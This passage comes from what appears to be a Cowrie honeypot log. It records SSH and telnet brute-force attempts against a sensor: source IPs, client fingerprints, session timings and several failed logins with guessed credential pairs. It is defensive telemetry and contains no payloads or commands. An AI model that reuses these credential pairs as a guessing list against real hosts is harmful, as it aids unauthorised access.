c","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:36:27.162821Z","src_ip":"193.46.255.86","session":"63d4f4e49c07","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tomas","password":"tomas","message":"login attempt [tomas/tomas] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:36:27.754584Z","src_ip":"193.46.255.86","session":"63d4f4e49c07","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.368340730667114,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:36:28.023687Z","src_ip":"69.73.180.12","session":"3607b26c4391","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.174959182739258,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:36:28.290756Z","src_ip":"69.73.180.12","session":"cfba4339bd9b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:36:28.887574Z","src_ip":"193.46.255.86","session":"63d4f4e49c07","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.938388347625732,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:36:29.085611Z","src_ip":"69.73.180.12","session":"8200158fe76f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.899285316467285,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:36:31.037652Z","src_ip":"69.73.180.12","session":"6cc9574f0af4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.995484113693237,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:36:31.060348Z","src_ip":"69.73.180.12","session":"1909801fea08","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.676140785217285,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:36:32.061576Z","src_ip":"69.73.180.12","session":"b23c9e96fe19","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.156375646591187,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:36:32.277112Z","src_ip":"69.73.180.12","session":"e01fcb7df800","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.63.108.25","src_port":46146,"dst_ip":"159.203.135.109","dst_port":22,"session":"dd97defcb224","protocol":"ssh","message":"New connection: 103.63.108.25:46146 (159.203.135.109:22) [session: dd97defcb224]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:36:32.773775Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:36:32.778800Z","src_ip":"103.63.108.25","session":"dd97defcb224","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:36:33.072681Z","src_ip":"103.63.108.25","session":"dd97defcb224","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.236890077590942,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:36:34.040252Z","src_ip":"69.73.180.12","session":"c02ef13cb8f2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.006059885025024,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:36:34.123996Z","src_ip":"69.73.180.12","session":"598dcd5cc585","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Aa123456@","message":"login attempt [ubuntu/Aa123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:36:34.237921Z","src_ip":"103.63.108.25","session":"dd97defcb224","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:36:35.532854Z","src_ip":"103.63.108.25","session":"dd97defcb224","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.945395469665527,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:36:36.172773Z","src_ip":"69.73.180.12","session":"3a1ac17f088b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.95432186126709,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:36:38.118847Z","src_ip":"69.73.180.12","session":"d34e9820de81","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.563056468963623,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:36:41.037434Z","src_ip":"69.73.180.12","session":"9e92c49ec49c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.541203260421753,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:36:41.645959Z","src_ip":"69.73.180.12","session":"de11acb7bf49","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.200880765914917,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:36:42.322223Z","src_ip":"69.73.180.12","session":"834c87ad224f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.95814347267151,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:36:44.015814Z","src_ip":"69.73.180.12","session":"d0d31a61fdae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.881970167160034,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:36:44.026709Z","src_ip":"69.73.180.12","session":"0d054682fa23","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.957138299942017,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:36:44.107204Z","src_ip":"69.73.180.12","session":"b09d6e51fd93","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.993821620941162,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:36:45.103747Z","src_ip":"69.73.180.12","session":"557f808228b8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.243499040603638,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:36:45.947458Z","src_ip":"69.73.180.12","session":"ab9e26ba0c19","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.9068284034729,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:36:46.051141Z","src_ip":"69.73.180.12","session":"5089ed2362a7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.419949531555176,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:36:48.013472Z","src_ip":"69.73.180.12","session":"438fac27cbbb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":50842,"dst_ip":"159.203.135.109","dst_port":22,"session":"2069c828a5c6","protocol":"ssh","message":"New connection: 159.203.92.129:50842 (159.203.135.109:22) [session: 2069c828a5c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:36:49.948121Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:36:49.952414Z","src_ip":"159.203.92.129","session":"2069c828a5c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:36:49.959065Z","src_ip":"159.203.92.129","session":"2069c828a5c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aaaaaa","password":"666666","message":"login attempt [aaaaaa/666666] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:36:49.967561Z","src_ip":"159.203.92.129","session":"2069c828a5c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:36:50.973758Z","src_ip":"159.203.92.129","session":"2069c828a5c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":49280,"dst_ip":"10.17.0.5","dst_port":23,"session":"851edc297289","protocol":"telnet","message":"New connection: 69.73.180.12:49280 (10.17.0.5:23) [session: 851edc297289]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:36:54.085940Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":52468,"dst_ip":"10.17.0.5","dst_port":23,"session":"077d7c096cac","protocol":"telnet","message":"New connection: 69.73.180.12:52468 (10.17.0.5:23) [session: 077d7c096cac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:36:54.951179Z"}
{"eventid":"cowrie.session.closed","duration":120.00301671028137,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:36:56.102379Z","src_ip":"193.239.26.142","session":"708831e94119","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.239.26.142","src_port":38068,"dst_ip":"10.17.0.5","dst_port":23,"session":"0f727bb11141","protocol":"telnet","message":"New connection: 193.239.26.142:38068 (10.17.0.5:23) [session: 0f727bb11141]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:36:56.580353Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":35094,"dst_ip":"159.203.135.109","dst_port":22,"session":"bde7bbcf456f","protocol":"ssh","message":"New connection: 80.94.92.186:35094 (159.203.135.109:22) [session: bde7bbcf456f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:36:57.038719Z"}
{"eventid":"cowrie.session.closed","duration":120.00338101387024,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:36:57.056197Z","src_ip":"193.239.26.142","session":"942f77129db4","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:36:57.137385Z","src_ip":"80.94.92.186","session":"bde7bbcf456f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:36:57.205711Z","src_ip":"80.94.92.186","session":"bde7bbcf456f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.239.26.142","src_port":38128,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e7688af750b","protocol":"telnet","message":"New connection: 193.239.26.142:38128 (10.17.0.5:23) [session: 7e7688af750b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:36:57.484818Z"}
{"eventid":"cowrie.login.failed","username":"sol","password":"1234","message":"login attempt [sol/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:36:57.909284Z","src_ip":"80.94.92.186","session":"bde7bbcf456f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":34008,"dst_ip":"10.17.0.5","dst_port":23,"session":"b5f4f331a1bd","protocol":"telnet","message":"New connection: 69.73.180.12:34008 (10.17.0.5:23) [session: b5f4f331a1bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:36:58.075412Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":34372,"dst_ip":"10.17.0.5","dst_port":23,"session":"76a8ac2ead0f","protocol":"telnet","message":"New connection: 69.73.180.12:34372 (10.17.0.5:23) [session: 76a8ac2ead0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:36:58.162802Z"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:36:59.156926Z","src_ip":"80.94.92.186","session":"bde7bbcf456f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":38898,"dst_ip":"10.17.0.5","dst_port":23,"session":"17a841cf26f8","protocol":"telnet","message":"New connection: 69.73.180.12:38898 (10.17.0.5:23) [session: 17a841cf26f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:36:59.491609Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":56520,"dst_ip":"10.17.0.5","dst_port":23,"session":"a39f01eae7de","protocol":"telnet","message":"New connection: 69.73.180.12:56520 (10.17.0.5:23) [session: a39f01eae7de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:37:05.091220Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":51268,"dst_ip":"10.17.0.5","dst_port":23,"session":"f63d1700f6c2","protocol":"telnet","message":"New connection: 69.73.180.12:51268 (10.17.0.5:23) [session: f63d1700f6c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:37:12.292442Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":42018,"dst_ip":"10.17.0.5","dst_port":23,"session":"990a155cf28a","protocol":"telnet","message":"New connection: 69.73.180.12:42018 (10.17.0.5:23) [session: 990a155cf28a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:37:18.070193Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":42044,"dst_ip":"10.17.0.5","dst_port":23,"session":"e3989202cd63","protocol":"telnet","message":"New connection: 69.73.180.12:42044 (10.17.0.5:23) [session: e3989202cd63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:37:18.078159Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":57000,"dst_ip":"10.17.0.5","dst_port":23,"session":"b72e38ad407a","protocol":"telnet","message":"New connection: 69.73.180.12:57000 (10.17.0.5:23) [session: b72e38ad407a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:37:22.262836Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":58456,"dst_ip":"10.17.0.5","dst_port":23,"session":"0729bcf28ad6","protocol":"telnet","message":"New connection: 69.73.180.12:58456 (10.17.0.5:23) [session: 0729bcf28ad6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:37:22.658589Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":59800,"dst_ip":"10.17.0.5","dst_port":23,"session":"8327b405d0a2","protocol":"telnet","message":"New connection: 69.73.180.12:59800 (10.17.0.5:23) [session: 8327b405d0a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:37:23.093920Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":34908,"dst_ip":"10.17.0.5","dst_port":23,"session":"c4bb52945460","protocol":"telnet","message":"New connection: 69.73.180.12:34908 (10.17.0.5:23) [session: c4bb52945460]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:37:24.067885Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":35016,"dst_ip":"10.17.0.5","dst_port":23,"session":"e9545eebe22b","protocol":"telnet","message":"New connection: 69.73.180.12:35016 (10.17.0.5:23) [session: e9545eebe22b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:37:24.103521Z"}
{"eventid":"cowrie.session.closed","duration":30.083359241485596,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:37:25.034442Z","src_ip":"69.73.180.12","session":"077d7c096cac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":56528,"dst_ip":"10.17.0.5","dst_port":23,"session":"8437428d1516","protocol":"telnet","message":"New connection: 69.73.180.12:56528 (10.17.0.5:23) [session: 8437428d1516]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:37:25.153807Z"}
{"eventid":"cowrie.session.closed","duration":31.112515449523926,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:37:25.198324Z","src_ip":"69.73.180.12","session":"851edc297289","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":40506,"dst_ip":"10.17.0.5","dst_port":23,"session":"16fb97714786","protocol":"telnet","message":"New connection: 69.73.180.12:40506 (10.17.0.5:23) [session: 16fb97714786]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:37:25.699598Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":43046,"dst_ip":"10.17.0.5","dst_port":23,"session":"dffdc85462d1","protocol":"telnet","message":"New connection: 69.73.180.12:43046 (10.17.0.5:23) [session: dffdc85462d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:37:26.454614Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":45014,"dst_ip":"10.17.0.5","dst_port":23,"session":"ff78c723047f","protocol":"telnet","message":"New connection: 69.73.180.12:45014 (10.17.0.5:23) [session: ff78c723047f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:37:27.090064Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":45046,"dst_ip":"10.17.0.5","dst_port":23,"session":"86ddb23ff26c","protocol":"telnet","message":"New connection: 69.73.180.12:45046 (10.17.0.5:23) [session: 86ddb23ff26c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:37:27.097179Z"}
{"eventid":"cowrie.session.closed","duration":30.8476140499115,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:37:29.010321Z","src_ip":"69.73.180.12","session":"76a8ac2ead0f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":51744,"dst_ip":"10.17.0.5","dst_port":23,"session":"0ac0074c19a1","protocol":"telnet","message":"New connection: 69.73.180.12:51744 (10.17.0.5:23) [session: 0ac0074c19a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:37:29.058183Z"}
